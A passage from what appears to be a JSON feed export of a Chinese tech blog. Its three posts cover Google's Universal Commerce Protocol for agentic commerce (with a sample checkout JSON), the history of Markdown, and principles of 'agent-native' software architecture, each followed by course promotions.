Commerce（智能体商业）”**的新纪元。在这个时代，代替人类下单的，是运行在手机、云端或眼镜里的 AI Agent（智能体）。\n如果你是技术负责人，你可能会感到背脊发凉：\n现有的这套为人类设计的、充满图片、广告和前端渲染的电商基建，对于“硅基生物”来说，效率低得令人发指。\n为了迎接这场变革，Google 近期开源了 UCP (Universal Commerce Protocol)，微软研究院在去年也前瞻性地发布了 Agentic Economy报告，Aqfer 提出了 AIO (AI Agent Optimization) 概念。\n今天，我们就结合这三份重磅资料，从协议、基建、经济三个维度，深度剖析这场正在发生的架构革命。\n第一性原理：为什么我们需要 Agentic Commerce？ 根据微软研究院（Microsoft Research）的报告，Agentic Commerce 的爆发并非偶然，而是经济学第一性原理的必然推论。\n传统的电商交易链路充满了**“通信摩擦（Communication Frictions）”**：\n人类： 搜索 -\u0026gt; 筛选 -\u0026gt; 比价 -\u0026gt; 阅读评论 -\u0026gt; 填表 -\u0026gt; 支付。 摩擦： 每一个环节都在消耗人类有限的注意力和认知带宽。 AI 智能体的出现，本质上是在消除这些摩擦。\n未来的购物模式将简化为：意图 -\u0026gt; 交易。\n用户只需说：“帮我买一个去日本旅游用的轻便行李箱，预算 500 元内，要耐摔的。”\n接下来的搜索、比价、看评论、下单、支付，全部由 Assistant Agent（助理智能体） 和商家的 Service Agent（服务智能体） 在后台通过协议谈判完成。\n这不仅是用户体验的升级，更是交易效率的指数级跃迁。\n技术基座：Google UCP 协议详解 然而，理想很丰满，现实很骨感。目前的 Agent 购物面临一个巨大的工程难题：$N \\times N$ 的集成灾难。\n每个商家都有自己的私有 API，Agent 不可能适配全天下所有的电商接口。\n为了解决这个问题，Google 提出了 UCP (Universal Commerce Protocol，通用商业协议)。\n你可以把 UCP 理解为电商界的“USB 接口”。它定义了一套标准化的语言，让消费者智能体（Consumer Agent）和商家后端（Business Backend）能够直接对话。\nUCP 的核心架构设计 标准化发现 (Discovery) 类似于 robots.txt，商家只需在 .well-known/ucp 路径下发布一个 JSON 清单，声明：“我是卖花的，我支持搜索、加购和 Google Pay。” Agent 读到这个文件，就知道了交互规则。\n原子化能力 (Capabilities) UCP 定义了一组标准的原语（Primitives），如 ProductDiscovery（商品发现）、Cart（购物车）、Checkout（结账）。这些原语是跨平台的，无论是 Amazon 还是独立站，语义都一样。\n灵活的传输层 (Transport) UCP 不仅支持传统的 REST API，还原生支持 MCP (Model Context Protocol)。\n这意味着，你的 UCP 服务可以直接作为一个 MCP Server 挂载到 Claude 或 Gemini 中，让大模型“天生”就具备操作你店铺的能力。\nAgent 看到的不再是 HTML，而是干净的 JSON：\n// UCP Checkout Response Example { \u0026#34;ucp\u0026#34;: { \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;services\u0026#34;: { \u0026#34;dev.ucp.shopping\u0026#34;: { \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://ucp.dev/specs/shopping\u0026#34;, \u0026#34;rest\u0026#34;: { \u0026#34;schema\u0026#34;: \u0026#34;https://ucp.dev/services/shopping/openapi.json\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;http://localhost:8182/\u0026#34; } } }, \u0026#34;capabilities\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;dev.ucp.shopping.checkout\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://ucp.dev/specs/shopping/checkout\u0026#34;, \u0026#34;schema\u0026#34;: \u0026#34;https://ucp.dev/schemas/shopping/checkout.json\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;dev.ucp.shopping.discount\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://ucp.dev/specs/shopping/discount\u0026#34;, \u0026#34;schema\u0026#34;: \u0026#34;https://ucp.dev/schemas/shopping/discount.json\u0026#34;, \u0026#34;extends\u0026#34;: \u0026#34;dev.ucp.shopping.checkout\u0026#34; }, { \u0026#34;name\u0026#34;: \u0026#34;dev.ucp.shopping.fulfillment\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://ucp.dev/specs/shopping/fulfillment\u0026#34;, \u0026#34;schema\u0026#34;: \u0026#34;https://ucp.dev/schemas/shopping/fulfillment.json\u0026#34;, \u0026#34;extends\u0026#34;: \u0026#34;dev.ucp.shopping.checkout\u0026#34; } ] }, \u0026#34;payment\u0026#34;: { \u0026#34;handlers\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;shop_pay\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;com.shopify.shop_pay\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://shopify.dev/ucp/handlers/shop_pay\u0026#34;, \u0026#34;config_schema\u0026#34;: \u0026#34;https://shopify.dev/ucp/handlers/shop_pay/config.json\u0026#34;, \u0026#34;instrument_schemas\u0026#34;: [ \u0026#34;https://shopify.dev/ucp/handlers/shop_pay/instrument.json\u0026#34; ], \u0026#34;config\u0026#34;: { \u0026#34;shop_id\u0026#34;: \u0026#34;d124d01c-3386-4c58-bc58-671b705e19ff\u0026#34; } }, { \u0026#34;id\u0026#34;: \u0026#34;google_pay\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;google.pay\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://example.com/spec\u0026#34;, \u0026#34;config_schema\u0026#34;: \u0026#34;https://example.com/schema\u0026#34;, \u0026#34;instrument_schemas\u0026#34;: [ \u0026#34;https://ucp.dev/schemas/shopping/types/gpay_card_payment_instrument.json\u0026#34; ], \u0026#34;config\u0026#34;: { \u0026#34;api_version\u0026#34;: 2, \u0026#34;api_version_minor\u0026#34;: 0, \u0026#34;merchant_info\u0026#34;: { \u0026#34;merchant_name\u0026#34;: \u0026#34;Flower Shop\u0026#34;, \u0026#34;merchant_id\u0026#34;: \u0026#34;TEST\u0026#34;, \u0026#34;merchant_origin\u0026#34;: \u0026#34;localhost\u0026#34; }, \u0026#34;allowed_payment_methods\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;CARD\u0026#34;, \u0026#34;parameters\u0026#34;: { \u0026#34;allowedAuthMethods\u0026#34;: [ \u0026#34;PAN_ONLY\u0026#34;, \u0026#34;CRYPTOGRAM_3DS\u0026#34; ], \u0026#34;allowedCardNetworks\u0026#34;: [ \u0026#34;VISA\u0026#34;, \u0026#34;MASTERCARD\u0026#34; ] }, \u0026#34;tokenization_specification\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;PAYMENT_GATEWAY\u0026#34;, \u0026#34;parameters\u0026#34;: [ { \u0026#34;gateway\u0026#34;: \u0026#34;example\u0026#34;, \u0026#34;gatewayMerchantId\u0026#34;: \u0026#34;exampleGatewayMerchantId\u0026#34; } ] } ] } ] } }, { \u0026#34;id\u0026#34;: \u0026#34;mock_payment_handler\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;dev.ucp.mock_payment\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026-01-11\u0026#34;, \u0026#34;spec\u0026#34;: \u0026#34;https://ucp.dev/specs/mock\u0026#34;, \u0026#34;config_schema\u0026#34;: \u0026#34;https://ucp.dev/schemas/mock.json\u0026#34;, \u0026#34;instrument_schemas\u0026#34;: [ \u0026#34;https://ucp.dev/schemas/shopping/types/card_payment_instrument.json\u0026#34; ], \u0026#34;config\u0026#34;: { \u0026#34;supported_tokens\u0026#34;: [ \u0026#34;success_token\u0026#34;, \u0026#34;fail_token\u0026#34; ] } } ] } } 基础设施危机：“海啸级”查询与营销失效 当 Agent 能够读懂 UCP 协议后，商家的技术架构将面临前所未有的挑战。Aqfer 在其白皮书中发出了警告：你的基础设施准备好迎接“机器海啸”了吗？\n流量的量级跃迁 人类逛淘宝，一分钟看 5 个商品就累了。\nAI 智能体为了帮主人找到“最优解”，可能会在几毫秒内扫描 1000 个 SKU，实时比对全网价格和库存。\n你的 Read API QPS 可能会暴涨 100倍 – 1000倍。传统的缓存策略可能失效，因为 Agent 需要毫秒级的**实时库存（Real-time Inventory）**准确性。\n营销逻辑的崩塌 这是最让市场部绝望的一点：AI 智能体对“情绪”免疫。\n你在详情页上精心设计的品牌故事、氛围感图片、促销倒计时，对于 LLM 来说只是无意义的 Token 噪音。\nAgent 只关心：Data (数据)。\n价格是多少？（精确数字） 材质是什么？（结构化参数） 物流几天到？（SLA 承诺） 从 SEO 到 AIO (AI Agent Optimization) 未来的流量入口不再是搜索引擎，而是 AI 智能体。\n如果你想被 Agent 选中，你需要的不是 SEO（针对关键词优化），而是 AIO（针对智能体优化）。\nData is the UI. 你的商品数据必须是清洁的、结构化的、向量友好的。如果你还在用图片存参数表，你的商品在 Agent 眼里就是隐形的。\n未来推演：围墙花园 vs. 开放网络 微软研究院的报告指出了两种可能的终局：\n路径 A：Agentic Walled Gardens（智能体围墙花园） OpenAI、Google、Apple 建立自己的“智能体 App Store”。商家必须适配它们的私有协议才能被其 Agent 访问。这会形成新的垄断。\n路径 B：Web of Agents（智能体开放网络） 基于 UCP 和 MCP 这样的开放标准，任何商家的 Service Agent 都可以和消费者的 Assistant Agent 自由交易，无需经过中心化平台。\n这就是为什么 Google 要急于开源 UCP标准协议。协议之争，将决定未来十年的互联网商业格局。\n小结：为“机器客户”重构系统 Agentic Commerce 不仅仅是一个技术热词，它是一场生产关系的重构。\n作为架构师，你的使命正在发生变化：\n从“为人类构建漂亮的 UI”，转变为**“为机器构建健壮的 API”**。\n不要等到你的竞争对手已经被 AI 智能体“自动下单”买空了库存，你还在研究 Landing Page 的按钮颜色。\n拥抱协议，结构化数据，迎接那个“万物皆可被 Agent 调用”的未来。\n参考资料 The Agentic Economy – https://arxiv.org/abs/2505.15799 Under the Hood: Universal Commerce Protocol (UCP) – https://developers.googleblog.com/under-the-hood-universal-commerce-protocol-ucp/ Universal Commerce Protocol官网 – https://ucp.dev/ The Age of Agentic Commerce: When Machines Become Your Customers – https://aqfer.com/wp-content/uploads/2025/09/AgenticCommerce_9.3.25_final_v1.pdf 你的“机器顾客”准备好了吗？\nAgentic Commerce 的未来听起来既科幻又紧迫。如果你的应用突然迎来了一波 AI Agent 的访问，你的 API 扛得住吗？你认为未来的电商是会被巨头垄断，还是通过 UCP 走向开放？\n欢迎在评论区分享你的脑洞或担忧！ 让我们一起为即将到来的“机器时代”做好准备。\n如果这篇文章让你对未来的电商架构有了全新的认识，别忘了点个【赞】和【在看】，并转发给你的产品经理和老板，告诉他们：变天了！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/14/google-ucp-agentic-commerce-architecture-revolution/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/google-ucp-agentic-commerce-architecture-revolution-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/14/google-ucp-agentic-commerce-architecture-revolution\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/14/google-ucp-agentic-commerce-architecture-revolution\"\u003ehttps://tonybai.com/2026/01/14/google-ucp-agentic-commerce-architecture-revolution\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e想象一下，未来的某一天，你们公司的电商网站流量突然暴涨了 1000 倍。\u003c/p\u003e\n\u003cp\u003e但奇怪的是，后台数据显示 PageView（页面浏览量）几乎为零，热力图一片空白，也没有任何用户在点击你的促销弹窗。\u003c/p\u003e","title":"当机器开始“剁手”：详解 Google UCP 与 Agentic Commerce 的架构革命"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/13/how-markdown-took-over-the-world\n大家好，我是Tony Bai。\n在这个由科技巨头主导、充斥着复杂算法和封闭生态的数字世界里，有一种技术显得格格不入。它没有专利壁垒，没有复杂的构建流程，甚至不需要特定的软件就能阅读。\n它是 Markdown。\n近期，知名科技博主 Anil Dash 发布了一篇题为《How Markdown Took Over the World》的长文。他在文中深情回顾了这一格式的诞生与崛起，并指出：在这个由科技巨头主导、充斥着封闭生态的数字世界里，Markdown 是一场属于普通人的胜利。\n如今，从 GitHub 上的亿万代码仓库，到 ChatGPT等大模型 生成的每一个回答，再到你随手记下的 Apple Notes，Markdown 无处不在。它不仅成为了技术人员的“普通话”，更意外地成为了 AI 时代的“通用语”。\n这一切，都始于 20 年前一位“固执”的苹果博主为了偷懒而写的一个小脚本。今天，让我们跟随 Anil Dash 的视角，回顾这段充满偶然与必然的技术传奇。\n缘起：一个博主的“偷懒”计划 2002 年，John Gruber 做了一个在当时看来极其不理性的决定：全职运营一个只关注苹果公司动态的博客——Daring Fireball。\n在那个博客刚刚兴起的蛮荒时代，发布内容并不容易。你要么忍受简陋的输入框，要么得手写复杂的 HTML 标签。为了能在写文章时（比如加粗、插入链接）不被繁琐的 HTML 标记打断思路，John 决定为自己开发一套工具。\n他的核心理念是：既然 HTML (HyperText Markup Language) 太复杂，那就叫它 Markdown 吧。\n如果你想加粗，就用 **；想引用，就用 \u0026gt;；想列表，就用 -。这些符号并非凭空创造，而是深受电子邮件时代纯文本格式习惯的影响。John 的天才之处在于，他将这些约定俗成的习惯标准化，并写了一个 Perl 脚本将它们转换为合法的 HTML。\n2004 年 3 月，在 Aaron Swartz（那位早逝的天才少年）的协助测试下，Markdown 正式发布。没有人预料到，这个小小的工具将改变互联网的未来。\n统治世界：从程序员到 AI Markdown 的崛起并非一夜之间，但它的生命力却异常顽强。\n开发者的拥抱：GitHub 的出现是关键转折点。它将 README.md 设为项目标配，使得 Markdown 成为了开发者描述项目的标准格式。 应用的普及：从 Slack 到 Discord，从 Notion 到 Obsidian，现代生产力工具几乎全部内置了 Markdown 支持。哪怕是 Google Docs 和 Apple Notes 这样的大众软件，最终也向用户需求妥协，加入了 Markdown 支持。 AI 的通用语：最令人意想不到的转折发生在当下。当最前沿的 LLM（大型语言模型）需要一种格式来输出结构化内容时，它们不约而同地选择了 Markdown。因为它既对人类可读，又对机器友好，且完全开放。 Anil Dash 在他的回顾文章中总结了 Markdown 成功的 10 个技术原因，其中几点尤为深刻：\n解决真实问题：它不是为了“发明一种新格式”，而是为了解决“手写 HTML 太痛苦”这个具体痛点。 利用现有习惯：它没有强迫用户学习新符号，而是沿用了电子邮件时代的纯文本习惯（如 \u0026gt; 表示引用）。 没有知识产权 (IP) 负担：John Gruber 从未试图将其商业化或申请专利，这种彻底的开放性消除了所有采用者的顾虑。 “查看源码”的哲学：Markdown 文件本身就是教程。你只需要看一眼源文件，就能立刻学会怎么写。 硬币的另一面：自由的代价 当然，Markdown 这种彻底的自由和缺乏中央控制，也带来了一个长期的副作用——碎片化。\n正因为 John Gruber 当年只给出了一个 Perl 脚本而没有定义极其严谨的规范，导致后来出现了各种“方言”。GitHub 有自己的 GitHub Flavored Markdown (GFM)，Reddit 有自己的解析规则，Obsidian 和 Notion 也都添加了各自的私有语法（如双向链接 [[Link]]）。\n这导致了一个尴尬的现实：虽然 Markdown 到处都是，但你的 Markdown 文件未必能在所有地方都完美渲染。 表格的语法支持不一，数学公式的写法各异，甚至连换行符的处理都有微妙差别。\n直到后来 CommonMark 等项目的出现，才试图事后诸葛亮式地去修补这种分裂。\n但幸运的是，Markdown 的核心语法（标题、列表、粗体、引用、链接）已经足够稳固，成为了事实上的标准。正是这最基础的 80% 功能，支撑起了它在 AI 时代的通用性。对于大语言模型而言，这些细微的方言差异完全可以忽略不计——它只需要用最基础的语法，就能让全世界读懂。\n这也再次印证了那个道理：在规模化面前，简单且“足够好”的方案，往往能战胜完美但复杂的方案。\n启示：善良与开放的力量 Markdown 的故事，是对当代科技行业的一种温柔提醒。\n真正的互联网基础设施，往往不是由拿了巨额风投的初创公司在董事会里规划出来的。它们往往源于像 John Gruber 或 Aaron Swartz 这样的人——他们有正职工作，但也充满热情；他们为了解决自己的问题而造轮子，然后慷慨地将其分享给世界。\n在这个被“护城河”、“生态闭环”和“商业化变现”充斥的时代，Markdown 证明了：一个好的点子，加上一颗慷慨的心，依然可以改变世界。\n下次当你用 ** 加粗文字，或者看着 ChatGPT 逐行吐出格式完美的回答时，请记得：这背后没有复杂的商业算计，只有一位在费城看球赛的博主，想让你打字时能稍微轻松一点。\n资料链接：https://www.anildash.com/2026/01/09/how-markdown-took-over-the-world/\n你的 Markdown 记忆\nMarkdown 已经陪伴了我们 20 年。你还记得自己第一次接触 Markdown 是在什么场景下吗？是写 GitHub README，还是做笔记？你最喜欢的 Markdown 编辑器又是哪一款？\n欢迎在评论区分享你的 Markdown 故事和神器推荐！ 让我们一起致敬这个简单而伟大的工具。\n如果这篇文章让你对 Markdown 有了全新的认识，别忘了点个【赞】和【在看】，并转发给你的朋友，哪怕他只是个爱记笔记的非程序员！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/13/how-markdown-took-over-the-world/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/how-markdown-took-over-the-world-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/13/how-markdown-took-over-the-world\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/13/how-markdown-took-over-the-world\"\u003ehttps://tonybai.com/2026/01/13/how-markdown-took-over-the-world\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个由科技巨头主导、充斥着复杂算法和封闭生态的数字世界里，有一种技术显得格格不入。它没有专利壁垒，没有复杂的构建流程，甚至不需要特定的软件就能阅读。\u003c/p\u003e","title":"技术考古：Markdown 为何从博客工具演变成统治 AI 世界的“通用语”？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/13/agent-native-architecture\n大家好，我是Tony Bai。\n软件智能体（Software Agents）现在已经能够可靠地工作了。Claude Code 证明了，只要赋予一个大语言模型（LLM）访问 Bash 和文件系统的权限，并让它在一个循环中运行直到达成目标，它就能自主完成复杂的多步骤任务。\n而这里有一个令人惊讶的发现：一个优秀的编程 Agent，本质上就是一个优秀的通用 Agent。\n支撑 Claude Code 重构代码库的同一套架构，同样可以用来整理你的文件、管理阅读列表，或自动化你的工作流。通过 Claude Code SDK、Google adk-go等，这种能力变得触手可及。你可以构建一种全新的应用：其功能不再是你写死的代码，而是你描述的结果（Outcome）——由一个装备了工具的 Agent，在一个循环中自主实现。\n这开启了一个全新的领域：软件开始像 Claude Code 一样工作，但应用场景远超编程。这就是 Anthropic 与 Dan Shipper 联合发布的最新架构理念 —— Agent-native Architecture（智能体原生架构）。\n本文将深入拆解这份文档中的核心原则与架构模式，带你领略这一前沿范式。\n核心原则 要构建 Agent-native 应用，我们需要遵循以下 5 大核心原则：\n平权 (Parity) 原则： 用户通过 UI 能做的任何事，Agent 必须能通过工具（Tools）完成。\n这是基石。如果没有平权，其他一切都无从谈起。你必须确保 Agent 拥有一套完整的工具集，能够覆盖 UI 的所有能力。\n随机挑选一个 UI 动作。Agent 能完成吗？这是验证这一原则的测试标准！\n颗粒度 (Granularity) 原则： 工具应该是**原子级（Atomic）**的原语。功能特性（Features）是由 Agent 在循环中通过组合工具达成的结果。\n工具是基本能力。功能特性是 Prompt 描述的一个结果，由 Agent 动态组合工具来实现。\n要改变软件的行为，你是通过修改 Prompt，还是重构代码？如果是前者，说明颗粒度对了。\n可组合性 (Composability) 原则： 拥有了原子工具和平权，你可以仅通过编写新 Prompt 来创造新功能。\n比如：想要一个“每周回顾”功能？这只是一个 Prompt：\n“检查本周修改过的文件。总结关键变更。基于未完成项和截止日期，建议下周的三个优先级事项。”\nAgent 会自动调用 list_files、read_file 并结合自身判断力。你描述结果，Agent 负责循环执行。\n涌现能力 (Emergent Capability) 原则： Agent 可以完成你从未显式设计过的任务。\n这是 Agent-native 的飞轮效应：\n你构建原子工具和平权能力。 用户提出了你未预料到的需求。 Agent 组合工具完成了任务（或失败，揭示了工具缺口）。 你观察模式，添加领域工具或专用 Prompt 来优化。 重复上述过程。 然后，通过观察你的应用能处理领域内的开放式请求，来验证Agent是否具备这种涌现能力。\n随时间进化 (Improvement over time) 原则： Agent-native 应用通过积累上下文和 Prompt 优化而变得更好，而无需重新发版。\n与传统软件不同，Agent-native的应用可以通过以下方式自我进化：\n积累上下文： 状态通过上下文文件（Context Files）跨会话持久化。 开发者级优化： 你推送更新的 Prompt，所有用户受益。 用户级定制： 用户修改 Prompt 以适应自己的工作流。 实践中的原则 有了原则，我们要如何落地？以下是具体的工程实践指南。\n解决“平权”问题 想象一个笔记 App。用户说：“总结我关于这次会议的笔记，并标记为紧急。”\n如果 UI 能做，但 Agent 做不到，Agent 就会卡住。\n修正方案： 建立一张能力映射表（Capability Map）。\n每当添加一个 UI 功能时，都要问：Agent 能达成这个结果吗？如果不能，添加相应的原语工具。将这作为一条工程纪律遵守和贯彻！\n解决“颗粒度”问题：原子化 vs 捆绑逻辑 要知道：Agent 追求的是通过**判断力（Judgment）**达成结果，而不是执行死板的序列。\n❌ 错误做法（捆绑逻辑）：\n工具：classify_and_organize_files(files) 问题：决策逻辑是你写死的代码(充斥着if、else等)。要改变行为，必须重构代码。灵活性差。 ✅ 正确做法（原子化）：\n工具：read_file, write_file, move_file, bash Prompt：“整理下载文件夹…” 优势：Agent 负责决策并组合工具完成。要改变行为，只需修改 Prompt。Agent 拥有了更强地灵活性。 演进路线：从原语到领域工具 一开始，只提供纯粹的原语（Bash, 文件操作）。这能证明架构可行，并揭示 Agent 真正需要什么。\n当模式涌现后，有意识地添加领域工具（Domain Tools）：\n词汇表 (Vocabulary)： create_note 工具教会了 Agent 你的系统中“笔记”是什么。 护栏 (Guardrails)： 某些操作需要验证，不应完全交给 Agent 判断。 效率 (Efficiency)： 将常用操作打包，提升速度和降低成本。 领域工具的规则： 它们应该代表用户视角的一个概念性动作。它们可以包含机械验证，但不要包含“做什么”或“是否做”的判断——这属于 Prompt。同时，默认保持原语可用，不要为了这种封装而关闭底层权限，除非有安全理由。\n升级成为代码 (Graduating to Code) 有些操作因为性能或可靠性原因，需要从“Agent 编排”升级成为“优化代码”。\n阶段 1： Agent 在循环中使用原语（灵活，验证概念）。 阶段 2： 添加领域工具（更快，但仍由 Agent 编排）。 阶段 3： 针对热点路径，用优化代码实现（极快，确定性）。 注意： 即使升级为代码，操作时，Agent 仍应保留直接触发该代码的能力，并保留回退到原语的能力以处理边缘情况。\n架构模式：文件即通用接口 为什么 Claude Code 如此依赖文件系统？因为 Bash + Filesystem 是最经受考验的 Agent 接口。\n已知的： Agent 天生懂 cat, grep, mv。 可检查的： 用户能直接看到、编辑、移动文件。没有黑盒。 可移植的： 导出和备份极其简单。 自文档化： /projects/acme/notes/ 这种路径本身就携带了语义，比 SELECT * FROM notes WHERE id=123 更容易让 Agent 理解。 实体作用域目录 (Entity-scoped directories) 这是一种推荐的文件结构模式：\n{entity_type}/{entity_id}/ ├── primary content (主内容) ├── metadata (元数据) └── related materials (相关素材) 例如：Research/books/{bookId}/ 包含全文、笔记、来源和 Agent 日志。\ncontext.md 模式 Agent 需要知道它在处理什么。系统 Prompt 应该注入以下内容：\n可用资源： “`markdown\nAvailable Data * 12 notes in /notes * 3 active projects in /projects * Preferences at /preferences.md “`\n能力 (Capabilities)： 描述它能做什么（创建、搜索、整理）。 最近活动 (Recent Activity)： 用户刚刚做了什么，Agent 上一步做了什么。 文件 vs 数据库 用文件： 用户需要读写的内容、配置、Agent 生成的内容、大文本。 用数据库： 高频结构化数据、复杂查询、临时状态（Session/Cache）、强关系数据。 冲突处理： 建议采用 Shared Workspace 模式。Agent 和用户在同一个数据空间工作，不搞沙盒。这需要处理并发写入（如 Last-write-wins 或文件锁）。\n成功标准与反模式 在构建 Agent-native 应用时，我们经常会不自觉地滑回传统的软件工程思维。以下是具体的反模式对照表：\nAgent 作为路由器 (Agent as Router) 反模式： Agent 的唯一工作就是分析用户意图，然后调用一个写死的 run_workflow() 函数。 问题： 你把 Agent 的智能降级成了 if/else。如果用户需求稍微偏离你的预设（例如：“这次运行工作流但跳过最后一步”），系统就会崩溃。 正确姿势： Agent 应该负责执行，而不仅仅是路由。它应该拥有组成该工作流的原子工具，并根据情况决定调用顺序。 “请求/响应”思维 (Request/Response Thinking) 反模式： 认为 Agent 就像一个 API：给一个输入，它吐出一个输出。 问题： 这完全丢失了 Master Loop（Agent主循环） 的价值。真正的 Agent 是追求**结果（Outcome）**的。它可能会尝试、失败、分析错误、再尝试，直到结果达成。 正确姿势： 给 Agent 一个目标，让它在一个循环中运行，并在过程中处理意外情况。 防御性工具设计 (Defensive Tool Design) 反模式： 你因为习惯了防御性编程，所以把工具的输入限制得很死（例如：严格的 Enums，层层校验）。 问题： 这虽然安全，但也扼杀了涌现能力。Agent 无法用你没想到的方式使用工具。 正确姿势： 默认保持工具开放。除非有明确的安全风险（如删库），否则允许 Agent 传入任何它认为合理的参数。 工作流形状的工具 (Workflow-shaped Tools) 反模式： 创建一个名为 analyze_and_organize_files() 的工具。 问题： 你把**“判断逻辑”**捆绑进了工具里。如果要改变组织方式，必须重写代码。 正确姿势： 拆解为 read、analyze、move。让 Agent 在运行时决定如何组织。 “幸福路径”思维 (Happy Path in Code) 反模式： 在代码里写死了所有边缘情况的处理逻辑（if error_code == 500: retry）。 问题： 如果代码处理了所有边缘情况，Agent 就只是一个无脑调用者。 正确姿势： Agent-native 架构允许 Agent 用判断力处理边缘情况。如果遇到 500 错误，Agent 可以决定是重试、还是检查网络、还是通知用户。 成功的终极测试 (The Ultimate Test) 描述一个你的应用领域内的结果，但针对一个你从未专门开发过的功能。\n看看Agent 能否通过在一个循环中运行，自主搞定它？如果能，你构建的就是一个真正的 Agent-native 应用。\n小结：把判断力还给 Agent 当我们谈论 Agent-native 时，我们到底在谈论什么？\n其实，这是一场关于**“控制权移交”的变革。在传统的软件工程中，程序员试图用代码穷尽所有的逻辑分支，我们追求的是确定性。但在 Agent-native 的世界里，我们学会了放手**。\n我们不再编写死板的“步骤”，而是提供灵活的“原语”。我们把**“如何做（How）”**的判断力，从代码中剥离出来，归还给了 Agent。\n平权 让 Agent 拥有了和人一样的行动力。 颗粒度 赋予了 Agent 自由组合的能力。 涌现 让我们看到了软件在设计之外的可能性。 这并不意味着代码不重要了，而是代码的角色变了——从**“指挥官”变成了“军火库”**。你负责提供精良的武器（工具），而 Agent 负责在前线根据战况（上下文）灵活作战。\n这，才是 AI 时代软件架构的终极形态。\n资料链接：https://every.to/guides/agent-native\n你的 Agent 构想\nAgent-native 架构为我们打开了一扇通往无限可能的大门。如果让你用这种架构重新设计你最熟悉的一个应用（比如待办清单、邮件客户端），你会赋予它哪些以前做不到的“涌现能力”？\n欢迎在评论区分享你的脑洞！ 让我们一起畅想软件的未来形态。\n如果这篇文章颠覆了你对软件架构的认知，别忘了点个【赞】和【在看】，并转发给你的产品经理和架构师朋友！\n体验最成功的Agent-native应用\nAgent-native 不仅仅是一种架构，更是一种全新的开发体验。而目前市面上最成熟、最顶级的 Agent-native 实践，就是 Claude Code 本身。\n想要真正理解什么是“原子化工具”？什么是“循环中的判断力”？最好的方式不是空谈理论，而是亲自去体验一个优秀的 Agent 是如何工作的。\n欢迎关注我的极客时间专栏《AI 原生开发工作流实战》。我们将深入 Claude Code 